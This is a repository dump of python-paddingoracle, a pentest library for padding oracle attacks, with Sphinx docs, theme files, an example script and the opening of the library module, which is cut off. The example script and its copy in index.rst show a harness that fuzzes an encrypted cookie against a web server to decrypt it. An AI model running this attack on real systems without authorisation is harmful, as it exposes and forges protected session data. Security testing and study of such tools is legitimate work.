| {{ super() }} 4 | {% if pagename == 'index' %} 5 |
6 | {% endif %} 7 | {% endblock %} 8 | {% block footer %} 9 | {% if pagename == 'index' %} 10 |
11 | {% endif %} 12 | {% endblock %} 13 | {# do not display relbars #} 14 | {% block relbar1 %}{% endblock %} 15 | {% block relbar2 %} 16 | {% if theme_github_fork %} 17 | Fork me on GitHub 19 | {% endif %} 20 | {% endblock %} 21 | {% block sidebar1 %}{% endblock %} 22 | {% block sidebar2 %}{% endblock %} 23 | -------------------------------------------------------------------------------- /docs/_themes/kr_small/static/flasky.css_t: -------------------------------------------------------------------------------- 1 | /* 2 | * flasky.css_t 3 | * ~~~~~~~~~~~~ 4 | * 5 | * Sphinx stylesheet -- flasky theme based on nature theme. 6 | * 7 | * :copyright: Copyright 2007-2010 by the Sphinx team, see AUTHORS. 8 | * :license: BSD, see LICENSE for details. 9 | * 10 | */ 11 | 12 | @import url("basic.css"); 13 | 14 | /* -- page layout ----------------------------------------------------------- */ 15 | 16 | body { 17 | font-family: 'Georgia', serif; 18 | font-size: 17px; 19 | color: #000; 20 | background: white; 21 | margin: 0; 22 | padding: 0; 23 | } 24 | 25 | div.documentwrapper { 26 | float: left; 27 | width: 100%; 28 | } 29 | 30 | div.bodywrapper { 31 | margin: 40px auto 0 auto; 32 | width: 700px; 33 | } 34 | 35 | hr { 36 | border: 1px solid #B1B4B6; 37 | } 38 | 39 | div.body { 40 | background-color: #ffffff; 41 | color: #3E4349; 42 | padding: 0 30px 30px 30px; 43 | } 44 | 45 | img.floatingflask { 46 | padding: 0 0 10px 10px; 47 | float: right; 48 | } 49 | 50 | div.footer { 51 | text-align: right; 52 | color: #888; 53 | padding: 10px; 54 | font-size: 14px; 55 | width: 650px; 56 | margin: 0 auto 40px auto; 57 | } 58 | 59 | div.footer a { 60 | color: #888; 61 | text-decoration: underline; 62 | } 63 | 64 | div.related { 65 | line-height: 32px; 66 | color: #888; 67 | } 68 | 69 | div.related ul { 70 | padding: 0 0 0 10px; 71 | } 72 | 73 | div.related a { 74 | color: #444; 75 | } 76 | 77 | /* -- body styles ----------------------------------------------------------- */ 78 | 79 | a { 80 | color: #004B6B; 81 | text-decoration: underline; 82 | } 83 | 84 | a:hover { 85 | color: #6D4100; 86 | text-decoration: underline; 87 | } 88 | 89 | div.body { 90 | padding-bottom: 40px; /* saved for footer */ 91 | } 92 | 93 | div.body h1, 94 | div.body h2, 95 | div.body h3, 96 | div.body h4, 97 | div.body h5, 98 | div.body h6 { 99 | font-family: 'Garamond', 'Georgia', serif; 100 | font-weight: normal; 101 | margin: 30px 0px 10px 0px; 102 | padding: 0; 103 | } 104 | 105 | {% if theme_index_logo %} 106 | div.indexwrapper h1 { 107 | text-indent: -999999px; 108 | background: url({{ theme_index_logo }}) no-repeat center center; 109 | height: {{ theme_index_logo_height }}; 110 | } 111 | {% endif %} 112 | 113 | div.body h2 { font-size: 180%; } 114 | div.body h3 { font-size: 150%; } 115 | div.body h4 { font-size: 130%; } 116 | div.body h5 { font-size: 100%; } 117 | div.body h6 { font-size: 100%; } 118 | 119 | a.headerlink { 120 | color: white; 121 | padding: 0 4px; 122 | text-decoration: none; 123 | } 124 | 125 | a.headerlink:hover { 126 | color: #444; 127 | background: #eaeaea; 128 | } 129 | 130 | div.body p, div.body dd, div.body li { 131 | line-height: 1.4em; 132 | } 133 | 134 | div.admonition { 135 | background: #fafafa; 136 | margin: 20px -30px; 137 | padding: 10px 30px; 138 | border-top: 1px solid #ccc; 139 | border-bottom: 1px solid #ccc; 140 | } 141 | 142 | div.admonition p.admonition-title { 143 | font-family: 'Garamond', 'Georgia', serif; 144 | font-weight: normal; 145 | font-size: 24px; 146 | margin: 0 0 10px 0; 147 | padding: 0; 148 | line-height: 1; 149 | } 150 | 151 | div.admonition p.last { 152 | margin-bottom: 0; 153 | } 154 | 155 | div.highlight{ 156 | background-color: white; 157 | } 158 | 159 | dt:target, .highlight { 160 | background: #FAF3E8; 161 | } 162 | 163 | div.note { 164 | background-color: #eee; 165 | border: 1px solid #ccc; 166 | } 167 | 168 | div.seealso { 169 | background-color: #ffc; 170 | border: 1px solid #ff6; 171 | } 172 | 173 | div.topic { 174 | background-color: #eee; 175 | } 176 | 177 | div.warning { 178 | background-color: #ffe4e4; 179 | border: 1px solid #f66; 180 | } 181 | 182 | p.admonition-title { 183 | display: inline; 184 | } 185 | 186 | p.admonition-title:after { 187 | content: ":"; 188 | } 189 | 190 | pre, tt { 191 | font-family: 'Consolas', 'Menlo', 'Deja Vu Sans Mono', 'Bitstream Vera Sans Mono', monospace; 192 | font-size: 0.85em; 193 | } 194 | 195 | img.screenshot { 196 | } 197 | 198 | tt.descname, tt.descclassname { 199 | font-size: 0.95em; 200 | } 201 | 202 | tt.descname { 203 | padding-right: 0.08em; 204 | } 205 | 206 | img.screenshot { 207 | -moz-box-shadow: 2px 2px 4px #eee; 208 | -webkit-box-shadow: 2px 2px 4px #eee; 209 | box-shadow: 2px 2px 4px #eee; 210 | } 211 | 212 | table.docutils { 213 | border: 1px solid #888; 214 | -moz-box-shadow: 2px 2px 4px #eee; 215 | -webkit-box-shadow: 2px 2px 4px #eee; 216 | box-shadow: 2px 2px 4px #eee; 217 | } 218 | 219 | table.docutils td, table.docutils th { 220 | border: 1px solid #888; 221 | padding: 0.25em 0.7em; 222 | } 223 | 224 | table.field-list, table.footnote { 225 | border: none; 226 | -moz-box-shadow: none; 227 | -webkit-box-shadow: none; 228 | box-shadow: none; 229 | } 230 | 231 | table.footnote { 232 | margin: 15px 0; 233 | width: 100%; 234 | border: 1px solid #eee; 235 | } 236 | 237 | table.field-list th { 238 | padding: 0 0.8em 0 0; 239 | } 240 | 241 | table.field-list td { 242 | padding: 0; 243 | } 244 | 245 | table.footnote td { 246 | padding: 0.5em; 247 | } 248 | 249 | dl { 250 | margin: 0; 251 | padding: 0; 252 | } 253 | 254 | dl dd { 255 | margin-left: 30px; 256 | } 257 | 258 | pre { 259 | padding: 0; 260 | margin: 15px -30px; 261 | padding: 8px; 262 | line-height: 1.3em; 263 | padding: 7px 30px; 264 | background: #eee; 265 | border-radius: 2px; 266 | -moz-border-radius: 2px; 267 | -webkit-border-radius: 2px; 268 | } 269 | 270 | dl pre { 271 | margin-left: -60px; 272 | padding-left: 60px; 273 | } 274 | 275 | tt { 276 | background-color: #ecf0f3; 277 | color: #222; 278 | /* padding: 1px 2px; */ 279 | } 280 | 281 | tt.xref, a tt { 282 | background-color: #FBFBFB; 283 | } 284 | 285 | a:hover tt { 286 | background: #EEE; 287 | } 288 | -------------------------------------------------------------------------------- /docs/_themes/kr_small/theme.conf: -------------------------------------------------------------------------------- 1 | [theme] 2 | inherit = basic 3 | stylesheet = flasky.css 4 | nosidebar = true 5 | pygments_style = flask_theme_support.FlaskyStyle 6 | 7 | [options] 8 | index_logo = '' 9 | index_logo_height = 120px 10 | github_fork = '' 11 | -------------------------------------------------------------------------------- /docs/api.rst: -------------------------------------------------------------------------------- 1 | .. _api: 2 | 3 | Developer Interface 4 | =================== 5 | 6 | .. module:: paddingoracle 7 | 8 | This part of the documentation covers all the interfaces exposed by the 9 | Padding Oracle Exploit API. 10 | 11 | 12 | Main Interface 13 | -------------- 14 | 15 | Tool authors should subclass the :class:`PaddingOracle` class and implement 16 | :meth:`oracle`. A typical example may look like:: 17 | 18 | from paddingoracle import PaddingOracle, BadPaddingException 19 | 20 | class PadBuster(PaddingOracle): 21 | def oracle(self, data): 22 | 23 | # 24 | # code to determine if a padding oracle is revealed 25 | # if a padding oracle is revealed, raise a BadPaddingException 26 | # 27 | 28 | raise BadPaddingException 29 | 30 | To exploit the padding oracle vulnerability, simply:: 31 | 32 | padbuster = PadBuster() 33 | decrypted = padbuster.decrypt(encrypted_data) 34 | 35 | print decrypted 36 | 37 | That's all! The hard work of actually carrying out the attack is handled 38 | in the :meth:`PaddingOracle.bust` method (not documented), which in turns 39 | calls the :meth:`~PaddingOracle.oracle` method implemented by your code. 40 | 41 | .. autoclass:: PaddingOracle 42 | :members: decrypt, encrypt, oracle, analyze 43 | 44 | 45 | Exceptions 46 | ---------- 47 | 48 | .. autoexception:: BadPaddingException 49 | -------------------------------------------------------------------------------- /docs/conf.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # 3 | # Padding Oracle Exploit API documentation build configuration file, created by 4 | # sphinx-quickstart on Tue Jan 8 14:35:03 2013. 5 | # 6 | # This file is execfile()d with the current directory set to its containing dir. 7 | # 8 | # Note that not all possible configuration values are present in this 9 | # autogenerated file. 10 | # 11 | # All configuration values have a default; values that are commented out 12 | # serve to show the default. 13 | 14 | import sys, os 15 | 16 | # If extensions (or modules to document with autodoc) are in another directory, 17 | # add these directories to sys.path here. If the directory is relative to the 18 | # documentation root, use os.path.abspath to make it absolute, like shown here. 19 | sys.path.insert(0, os.path.abspath('..')) 20 | import paddingoracle 21 | 22 | # -- General configuration ----------------------------------------------------- 23 | 24 | # If your documentation needs a minimal Sphinx version, state it here. 25 | #needs_sphinx = '1.0' 26 | 27 | # Add any Sphinx extension module names here, as strings. They can be extensions 28 | # coming with Sphinx (named 'sphinx.ext.*') or your custom ones. 29 | extensions = ['sphinx.ext.autodoc'] 30 | 31 | # Add any paths that contain templates here, relative to this directory. 32 | templates_path = ['_templates'] 33 | 34 | # The suffix of source filenames. 35 | source_suffix = '.rst' 36 | 37 | # The encoding of source files. 38 | #source_encoding = 'utf-8-sig' 39 | 40 | # The master toctree document. 41 | master_doc = 'index' 42 | 43 | # General information about the project. 44 | project = u'Padding Oracle Exploit API' 45 | copyright = u'2013, Marcin Wielgoszewski' 46 | 47 | # The version info for the project you're documenting, acts as replacement for 48 | # |version| and |release|, also used in various other places throughout the 49 | # built documents. 50 | # 51 | # The short X.Y version. 52 | version = '1.0' 53 | # The full version, including alpha/beta/rc tags. 54 | release = '1.0' 55 | 56 | # The language for content autogenerated by Sphinx. Refer to documentation 57 | # for a list of supported languages. 58 | #language = None 59 | 60 | # There are two options for replacing |today|: either, you set today to some 61 | # non-false value, then it is used: 62 | #today = '' 63 | # Else, today_fmt is used as the format for a strftime call. 64 | #today_fmt = '%B %d, %Y' 65 | 66 | # List of patterns, relative to source directory, that match files and 67 | # directories to ignore when looking for source files. 68 | exclude_patterns = ['_build', 'README.rst'] 69 | 70 | # The reST default role (used for this markup: `text`) to use for all documents. 71 | #default_role = None 72 | 73 | # If true, '()' will be appended to :func: etc. cross-reference text. 74 | #add_function_parentheses = True 75 | 76 | # If true, the current module name will be prepended to all description 77 | # unit titles (such as .. function::). 78 | #add_module_names = True 79 | 80 | # If true, sectionauthor and moduleauthor directives will be shown in the 81 | # output. They are ignored by default. 82 | #show_authors = False 83 | 84 | # The name of the Pygments (syntax highlighting) style to use. 85 | pygments_style = 'flask_theme_support.FlaskyStyle' 86 | 87 | # A list of ignored prefixes for module index sorting. 88 | #modindex_common_prefix = [] 89 | 90 | 91 | # -- Options for HTML output --------------------------------------------------- 92 | 93 | # The theme to use for HTML and HTML Help pages. See the documentation for 94 | # a list of builtin themes. 95 | html_theme = 'default' 96 | 97 | # Theme options are theme-specific and customize the look and feel of a theme 98 | # further. For a list of options available for each theme, see the 99 | # documentation. 100 | #html_theme_options = {} 101 | 102 | # Add any paths that contain custom themes here, relative to this directory. 103 | #html_theme_path = [] 104 | 105 | # The name for this set of Sphinx documents. If None, it defaults to 106 | # " v documentation". 107 | #html_title = None 108 | 109 | # A shorter title for the navigation bar. Default is the same as html_title. 110 | #html_short_title = None 111 | 112 | # The name of an image file (relative to this directory) to place at the top 113 | # of the sidebar. 114 | #html_logo = None 115 | 116 | # The name of an image file (within the static path) to use as favicon of the 117 | # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 118 | # pixels large. 119 | #html_favicon = None 120 | 121 | # Add any paths that contain custom static files (such as style sheets) here, 122 | # relative to this directory. They are copied after the builtin static files, 123 | # so a file named "default.css" will overwrite the builtin "default.css". 124 | html_static_path = ['_static'] 125 | 126 | # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, 127 | # using the given strftime format. 128 | #html_last_updated_fmt = '%b %d, %Y' 129 | 130 | # If true, SmartyPants will be used to convert quotes and dashes to 131 | # typographically correct entities. 132 | #html_use_smartypants = True 133 | 134 | # Custom sidebar templates, maps document names to template names. 135 | #html_sidebars = {} 136 | 137 | # Additional templates that should be rendered to pages, maps page names to 138 | # template names. 139 | #html_additional_pages = {} 140 | 141 | # If false, no module index is generated. 142 | #html_domain_indices = True 143 | 144 | # If false, no index is generated. 145 | #html_use_index = True 146 | 147 | # If true, the index is split into individual pages for each letter. 148 | #html_split_index = False 149 | 150 | # If true, links to the reST sources are added to the pages. 151 | html_show_sourcelink = False 152 | 153 | # If true, "Created using Sphinx" is shown in the HTML footer. Default is True. 154 | html_show_sphinx = False 155 | 156 | # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. 157 | #html_show_copyright = True 158 | 159 | # If true, an OpenSearch description file will be output, and all pages will 160 | # contain a tag referring to it. The value of this option must be the 161 | # base URL from which the finished HTML is served. 162 | #html_use_opensearch = '' 163 | 164 | # This is the file name suffix for HTML files (e.g. ".xhtml"). 165 | #html_file_suffix = None 166 | 167 | # Output file base name for HTML help builder. 168 | htmlhelp_basename = 'PaddingOracleExploitAPIdoc' 169 | 170 | 171 | # -- Options for LaTeX output -------------------------------------------------- 172 | 173 | latex_elements = { 174 | # The paper size ('letterpaper' or 'a4paper'). 175 | #'papersize': 'letterpaper', 176 | 177 | # The font size ('10pt', '11pt' or '12pt'). 178 | #'pointsize': '10pt', 179 | 180 | # Additional stuff for the LaTeX preamble. 181 | #'preamble': '', 182 | } 183 | 184 | # Grouping the document tree into LaTeX files. List of tuples 185 | # (source start file, target name, title, author, documentclass [howto/manual]). 186 | latex_documents = [ 187 | ('index', 'PaddingOracleExploitAPI.tex', u'Padding Oracle Exploit API Documentation', 188 | u'Marcin Wielgoszewski', 'manual'), 189 | ] 190 | 191 | # The name of an image file (relative to this directory) to place at the top of 192 | # the title page. 193 | #latex_logo = None 194 | 195 | # For "manual" documents, if this is true, then toplevel headings are parts, 196 | # not chapters. 197 | #latex_use_parts = False 198 | 199 | # If true, show page references after internal links. 200 | #latex_show_pagerefs = False 201 | 202 | # If true, show URL addresses after external links. 203 | #latex_show_urls = False 204 | 205 | # Documents to append as an appendix to all manuals. 206 | #latex_appendices = [] 207 | 208 | # If false, no module index is generated. 209 | #latex_domain_indices = True 210 | 211 | 212 | # -- Options for manual page output -------------------------------------------- 213 | 214 | # One entry per manual page. List of tuples 215 | # (source start file, name, description, authors, manual section). 216 | man_pages = [ 217 | ('index', 'paddingoracleexploitapi', u'Padding Oracle Exploit API Documentation', 218 | [u'Marcin Wielgoszewski'], 1) 219 | ] 220 | 221 | # If true, show URL addresses after external links. 222 | #man_show_urls = False 223 | 224 | 225 | # -- Options for Texinfo output ------------------------------------------------ 226 | 227 | # Grouping the document tree into Texinfo files. List of tuples 228 | # (source start file, target name, title, author, 229 | # dir menu entry, description, category) 230 | texinfo_documents = [ 231 | ('index', 'PaddingOracleExploitAPI', u'Padding Oracle Exploit API Documentation', 232 | u'Marcin Wielgoszewski', 'PaddingOracleExploitAPI', 'One line description of project.', 233 | 'Miscellaneous'), 234 | ] 235 | 236 | # Documents to append as an appendix to all manuals. 237 | #texinfo_appendices = [] 238 | 239 | # If false, no module index is generated. 240 | #texinfo_domain_indices = True 241 | 242 | # How to display URL addresses: 'footnote', 'no', or 'inline'. 243 | #texinfo_show_urls = 'footnote' 244 | 245 | sys.path.append(os.path.abspath('_themes')) 246 | html_theme_path = ['_themes'] 247 | html_theme = 'kr' 248 | -------------------------------------------------------------------------------- /docs/index.rst: -------------------------------------------------------------------------------- 1 | .. Padding Oracle Exploit API documentation master file, created by 2 | sphinx-quickstart on Tue Jan 8 14:35:03 2013. 3 | You can adapt this file completely to your liking, but it should at least 4 | contain the root `toctree` directive. 5 | 6 | Padding Oracle Exploit API 7 | ========================== 8 | 9 | python-paddingoracle is an API that provides pentesters a customizable 10 | alternative to `PadBuster`_ and other padding oracle exploit tools that can't 11 | easily (without a heavy rewrite) be used in unique, per-app scenarios. Think 12 | non-HTTP applications, raw sockets, client applications, unique encodings, etc. 13 | 14 | 15 | Usage 16 | ----- 17 | 18 | .. module:: paddingoracle 19 | 20 | To use the paddingoracle API, simply implement the :meth:`~PaddingOracle.oracle` 21 | method from the :class:`PaddingOracle` API and raise a :exc:`BadPaddingException` 22 | when the decrypter reveals a padding oracle. To decrypt data, pass raw encrypted 23 | bytes to :meth:`~PaddingOracle.decrypt` with a **block_size** (typically 8 or 16) 24 | and optional **iv** parameter. 25 | 26 | See below for an example (from `the example`_): :: 27 | 28 | from paddingoracle import BadPaddingException, PaddingOracle 29 | from base64 import b64encode, b64decode 30 | from urllib import quote, unquote 31 | import requests 32 | import socket 33 | import time 34 | 35 | class PadBuster(PaddingOracle): 36 | def __init__(self, **kwargs): 37 | super(PadBuster, self).__init__(**kwargs) 38 | self.session = requests.Session() 39 | self.wait = kwargs.get('wait', 2.0) 40 | 41 | def oracle(self, data, **kwargs): 42 | somecookie = quote(b64encode(data)) 43 | self.session.cookies['somecookie'] = somecookie 44 | 45 | while 1: 46 | try: 47 | response = self.session.get('http://www.example.com/', 48 | stream=False, timeout=5, verify=False) 49 | break 50 | except (socket.error, requests.exceptions.RequestException): 51 | logging.exception('Retrying request in %.2f seconds...', 52 | self.wait) 53 | time.sleep(self.wait) 54 | continue 55 | 56 | self.history.append(response) 57 | 58 | if response.ok: 59 | logging.debug('No padding exception raised on %r', somecookie) 60 | return 61 | 62 | # An HTTP 500 error was returned, likely due to incorrect padding 63 | raise BadPaddingException 64 | 65 | if __name__ == '__main__': 66 | import logging 67 | import sys 68 | 69 | if not sys.argv[1:]: 70 | print 'Usage: %s ' % (sys.argv[0], ) 71 | sys.exit(1) 72 | 73 | logging.basicConfig(level=logging.DEBUG) 74 | 75 | encrypted_cookie = b64decode(unquote(sys.argv[1])) 76 | 77 | padbuster = PadBuster() 78 | 79 | cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8)) 80 | 81 | print('Decrypted somecookie: %s => %r' % (sys.argv[1], cookie)) 82 | 83 | 84 | API Documentation 85 | ----------------- 86 | 87 | .. toctree:: 88 | :maxdepth: 2 89 | 90 | api 91 | 92 | 93 | Credits 94 | ------- 95 | 96 | python-paddingoracle is a Python implementation heavily based on `PadBuster`_, 97 | an automated script for performing Padding Oracle attacks, developed by 98 | Brian Holyfield of Gotham Digital Science. 99 | 100 | .. _`the example`: https://github.com/mwielgoszewski/python-paddingoracle/blob/master/example.py 101 | .. _`PadBuster`: https://github.com/GDSSecurity/PadBuster 102 | -------------------------------------------------------------------------------- /docs/make.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | REM Command file for Sphinx documentation 4 | 5 | if "%SPHINXBUILD%" == "" ( 6 | set SPHINXBUILD=sphinx-build 7 | ) 8 | set BUILDDIR=_build 9 | set ALLSPHINXOPTS=-d %BUILDDIR%/doctrees %SPHINXOPTS% . 10 | set I18NSPHINXOPTS=%SPHINXOPTS% . 11 | if NOT "%PAPER%" == "" ( 12 | set ALLSPHINXOPTS=-D latex_paper_size=%PAPER% %ALLSPHINXOPTS% 13 | set I18NSPHINXOPTS=-D latex_paper_size=%PAPER% %I18NSPHINXOPTS% 14 | ) 15 | 16 | if "%1" == "" goto help 17 | 18 | if "%1" == "help" ( 19 | :help 20 | echo.Please use `make ^` where ^ is one of 21 | echo. html to make standalone HTML files 22 | echo. dirhtml to make HTML files named index.html in directories 23 | echo. singlehtml to make a single large HTML file 24 | echo. pickle to make pickle files 25 | echo. json to make JSON files 26 | echo. htmlhelp to make HTML files and a HTML help project 27 | echo. qthelp to make HTML files and a qthelp project 28 | echo. devhelp to make HTML files and a Devhelp project 29 | echo. epub to make an epub 30 | echo. latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter 31 | echo. text to make text files 32 | echo. man to make manual pages 33 | echo. texinfo to make Texinfo files 34 | echo. gettext to make PO message catalogs 35 | echo. changes to make an overview over all changed/added/deprecated items 36 | echo. linkcheck to check all external links for integrity 37 | echo. doctest to run all doctests embedded in the documentation if enabled 38 | goto end 39 | ) 40 | 41 | if "%1" == "clean" ( 42 | for /d %%i in (%BUILDDIR%\*) do rmdir /q /s %%i 43 | del /q /s %BUILDDIR%\* 44 | goto end 45 | ) 46 | 47 | if "%1" == "html" ( 48 | %SPHINXBUILD% -b html %ALLSPHINXOPTS% %BUILDDIR%/html 49 | if errorlevel 1 exit /b 1 50 | echo. 51 | echo.Build finished. The HTML pages are in %BUILDDIR%/html. 52 | goto end 53 | ) 54 | 55 | if "%1" == "dirhtml" ( 56 | %SPHINXBUILD% -b dirhtml %ALLSPHINXOPTS% %BUILDDIR%/dirhtml 57 | if errorlevel 1 exit /b 1 58 | echo. 59 | echo.Build finished. The HTML pages are in %BUILDDIR%/dirhtml. 60 | goto end 61 | ) 62 | 63 | if "%1" == "singlehtml" ( 64 | %SPHINXBUILD% -b singlehtml %ALLSPHINXOPTS% %BUILDDIR%/singlehtml 65 | if errorlevel 1 exit /b 1 66 | echo. 67 | echo.Build finished. The HTML pages are in %BUILDDIR%/singlehtml. 68 | goto end 69 | ) 70 | 71 | if "%1" == "pickle" ( 72 | %SPHINXBUILD% -b pickle %ALLSPHINXOPTS% %BUILDDIR%/pickle 73 | if errorlevel 1 exit /b 1 74 | echo. 75 | echo.Build finished; now you can process the pickle files. 76 | goto end 77 | ) 78 | 79 | if "%1" == "json" ( 80 | %SPHINXBUILD% -b json %ALLSPHINXOPTS% %BUILDDIR%/json 81 | if errorlevel 1 exit /b 1 82 | echo. 83 | echo.Build finished; now you can process the JSON files. 84 | goto end 85 | ) 86 | 87 | if "%1" == "htmlhelp" ( 88 | %SPHINXBUILD% -b htmlhelp %ALLSPHINXOPTS% %BUILDDIR%/htmlhelp 89 | if errorlevel 1 exit /b 1 90 | echo. 91 | echo.Build finished; now you can run HTML Help Workshop with the ^ 92 | .hhp project file in %BUILDDIR%/htmlhelp. 93 | goto end 94 | ) 95 | 96 | if "%1" == "qthelp" ( 97 | %SPHINXBUILD% -b qthelp %ALLSPHINXOPTS% %BUILDDIR%/qthelp 98 | if errorlevel 1 exit /b 1 99 | echo. 100 | echo.Build finished; now you can run "qcollectiongenerator" with the ^ 101 | .qhcp project file in %BUILDDIR%/qthelp, like this: 102 | echo.^> qcollectiongenerator %BUILDDIR%\qthelp\PaddingOracleExploitAPI.qhcp 103 | echo.To view the help file: 104 | echo.^> assistant -collectionFile %BUILDDIR%\qthelp\PaddingOracleExploitAPI.ghc 105 | goto end 106 | ) 107 | 108 | if "%1" == "devhelp" ( 109 | %SPHINXBUILD% -b devhelp %ALLSPHINXOPTS% %BUILDDIR%/devhelp 110 | if errorlevel 1 exit /b 1 111 | echo. 112 | echo.Build finished. 113 | goto end 114 | ) 115 | 116 | if "%1" == "epub" ( 117 | %SPHINXBUILD% -b epub %ALLSPHINXOPTS% %BUILDDIR%/epub 118 | if errorlevel 1 exit /b 1 119 | echo. 120 | echo.Build finished. The epub file is in %BUILDDIR%/epub. 121 | goto end 122 | ) 123 | 124 | if "%1" == "latex" ( 125 | %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex 126 | if errorlevel 1 exit /b 1 127 | echo. 128 | echo.Build finished; the LaTeX files are in %BUILDDIR%/latex. 129 | goto end 130 | ) 131 | 132 | if "%1" == "text" ( 133 | %SPHINXBUILD% -b text %ALLSPHINXOPTS% %BUILDDIR%/text 134 | if errorlevel 1 exit /b 1 135 | echo. 136 | echo.Build finished. The text files are in %BUILDDIR%/text. 137 | goto end 138 | ) 139 | 140 | if "%1" == "man" ( 141 | %SPHINXBUILD% -b man %ALLSPHINXOPTS% %BUILDDIR%/man 142 | if errorlevel 1 exit /b 1 143 | echo. 144 | echo.Build finished. The manual pages are in %BUILDDIR%/man. 145 | goto end 146 | ) 147 | 148 | if "%1" == "texinfo" ( 149 | %SPHINXBUILD% -b texinfo %ALLSPHINXOPTS% %BUILDDIR%/texinfo 150 | if errorlevel 1 exit /b 1 151 | echo. 152 | echo.Build finished. The Texinfo files are in %BUILDDIR%/texinfo. 153 | goto end 154 | ) 155 | 156 | if "%1" == "gettext" ( 157 | %SPHINXBUILD% -b gettext %I18NSPHINXOPTS% %BUILDDIR%/locale 158 | if errorlevel 1 exit /b 1 159 | echo. 160 | echo.Build finished. The message catalogs are in %BUILDDIR%/locale. 161 | goto end 162 | ) 163 | 164 | if "%1" == "changes" ( 165 | %SPHINXBUILD% -b changes %ALLSPHINXOPTS% %BUILDDIR%/changes 166 | if errorlevel 1 exit /b 1 167 | echo. 168 | echo.The overview file is in %BUILDDIR%/changes. 169 | goto end 170 | ) 171 | 172 | if "%1" == "linkcheck" ( 173 | %SPHINXBUILD% -b linkcheck %ALLSPHINXOPTS% %BUILDDIR%/linkcheck 174 | if errorlevel 1 exit /b 1 175 | echo. 176 | echo.Link check complete; look for any errors in the above output ^ 177 | or in %BUILDDIR%/linkcheck/output.txt. 178 | goto end 179 | ) 180 | 181 | if "%1" == "doctest" ( 182 | %SPHINXBUILD% -b doctest %ALLSPHINXOPTS% %BUILDDIR%/doctest 183 | if errorlevel 1 exit /b 1 184 | echo. 185 | echo.Testing of doctests in the sources finished, look at the ^ 186 | results in %BUILDDIR%/doctest/output.txt. 187 | goto end 188 | ) 189 | 190 | :end 191 | -------------------------------------------------------------------------------- /example.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | from paddingoracle import BadPaddingException, PaddingOracle 3 | from base64 import b64encode, b64decode 4 | from urllib.parse import quote, unquote 5 | import requests 6 | import socket 7 | import time 8 | 9 | 10 | class PadBuster(PaddingOracle): 11 | def __init__(self, **kwargs): 12 | super(PadBuster, self).__init__(**kwargs) 13 | self.session = requests.Session() 14 | self.wait = kwargs.get('wait', 2.0) 15 | 16 | def oracle(self, data, **kwargs): 17 | somecookie = quote(b64encode(data)) 18 | self.session.cookies['somecookie'] = somecookie 19 | 20 | while 1: 21 | try: 22 | response = self.session.get('http://www.example.com/', 23 | stream=False, timeout=5, verify=False) 24 | break 25 | except (socket.error, requests.exceptions.RequestException): 26 | logging.exception('Retrying request in %.2f seconds...', 27 | self.wait) 28 | time.sleep(self.wait) 29 | continue 30 | 31 | self.history.append(response) 32 | 33 | if response.ok: 34 | logging.debug('No padding exception raised on %r', somecookie) 35 | return 36 | 37 | raise BadPaddingException 38 | 39 | 40 | if __name__ == '__main__': 41 | import logging 42 | import sys 43 | 44 | if not sys.argv[1:]: 45 | print('Usage: %s ' % (sys.argv[0], )) 46 | sys.exit(1) 47 | 48 | logging.basicConfig(level=logging.DEBUG) 49 | 50 | encrypted_cookie = b64decode(unquote(sys.argv[1])) 51 | 52 | padbuster = PadBuster() 53 | 54 | cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8)) 55 | 56 | print('Decrypted somecookie: %s => %r' % (sys.argv[1], cookie)) 57 | -------------------------------------------------------------------------------- /paddingoracle.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | ''' 3 | Padding Oracle Exploit API 4 | ~~~~~~~~~~~~~~~~~~~~~~~~~~ 5 | ''' 6 | from itertools import cycle 7 | import logging 8 | 9 | __all__ = [ 10 | 'BadPaddingException', 11 | 'PaddingOracle', 12 | ] 13 | 14 | 15 | class BadPaddingException(Exception): 16 | ''' 17 | Raised when a blackbox decryptor reveals a padding oracle. 18 | 19 | This Exception type should be raised in :meth:`.PaddingOracle.oracle`. 20 | ''' 21 | 22 | 23 | class PaddingOracle(object): 24 | ''' 25 | Implementations should subclass this object and implement 26 | the :meth:`oracle` method. 27 | 28 | :param int max_retries: Number of attempts per byte to reveal a 29 | padding oracle, default is 3. If an oracle does not reveal 30 | itself within `max_retries`, a :exc:`RuntimeError` is raised. 31 | ''' 32 | 33 | def __init__(self, **kwargs): 34 | self.log = logging.getLogger(self.__class__.__name__) 35 | self.max_retries = int(kwargs.get('max_retries', 3)) 36 | self.attempts = 0 37 | self.history = [] 38 | self._decrypted = None 39 | self._encrypted = None 40 | 41 | def oracle(self, data, **kwargs): 42 | ''' 43 | Feeds *data* to a decryption function that reveals a Padding 44 | Oracle. If a Padding Oracle was revealed, this method 45 | should raise a :exc:`.BadPaddingException`, otherwise this 46 | method should just return. 47 | 48 | A history of all responses should be stored in :attr:`~.history`, 49 | regardless of whether they revealed a Padding Oracle or not. 50 | Responses from :attr:`~.history` are fed to :meth:`analyze` to 51 | help identify padding oracles. 52 | 53 | :param bytes data: (fuzzed) encrypted bytes. 54 | :raises: :class:`BadPaddingException` if decryption reveals an 55 | oracle. 56 | ''' 57 | raise NotImplementedError 58 | 59 | def analyze(self, **kwargs): 60 | ''' 61 | This method analyzes return :meth:`oracle` values stored in 62 | :attr:`~.history` and returns the most likely 63 | candidate(s) that reveals a padding oracle. 64 | ''' 65 | raise NotImplementedError 66 | 67 | def encrypt(self, plaintext, block_size=8, iv=None, **kwargs): 68 | ''' 69 | Encrypts *plaintext* by exploiting a Padding Oracle. 70 | 71 | :param plaintext: Plaintext data to encrypt. 72 | :param int block_size: Cipher block size (in bytes). 73 | :param iv: The initialization vector (iv), usually the first 74 | *block_size* bytes from the ciphertext. If no iv is given 75 | or iv is None, the first *block_size* bytes will be null's. 76 | :returns: Encrypted data. 77 | ''' 78 | pad = block_size - (len(plaintext) % block_size) 79 | if isinstance(plaintext, str): # convert to bytes if its a string 80 | plaintext = plaintext.encode() + bytes([pad]) * pad 81 | elif isinstance(plaintext, (bytes, bytearray)): 82 | plaintext = plaintext + 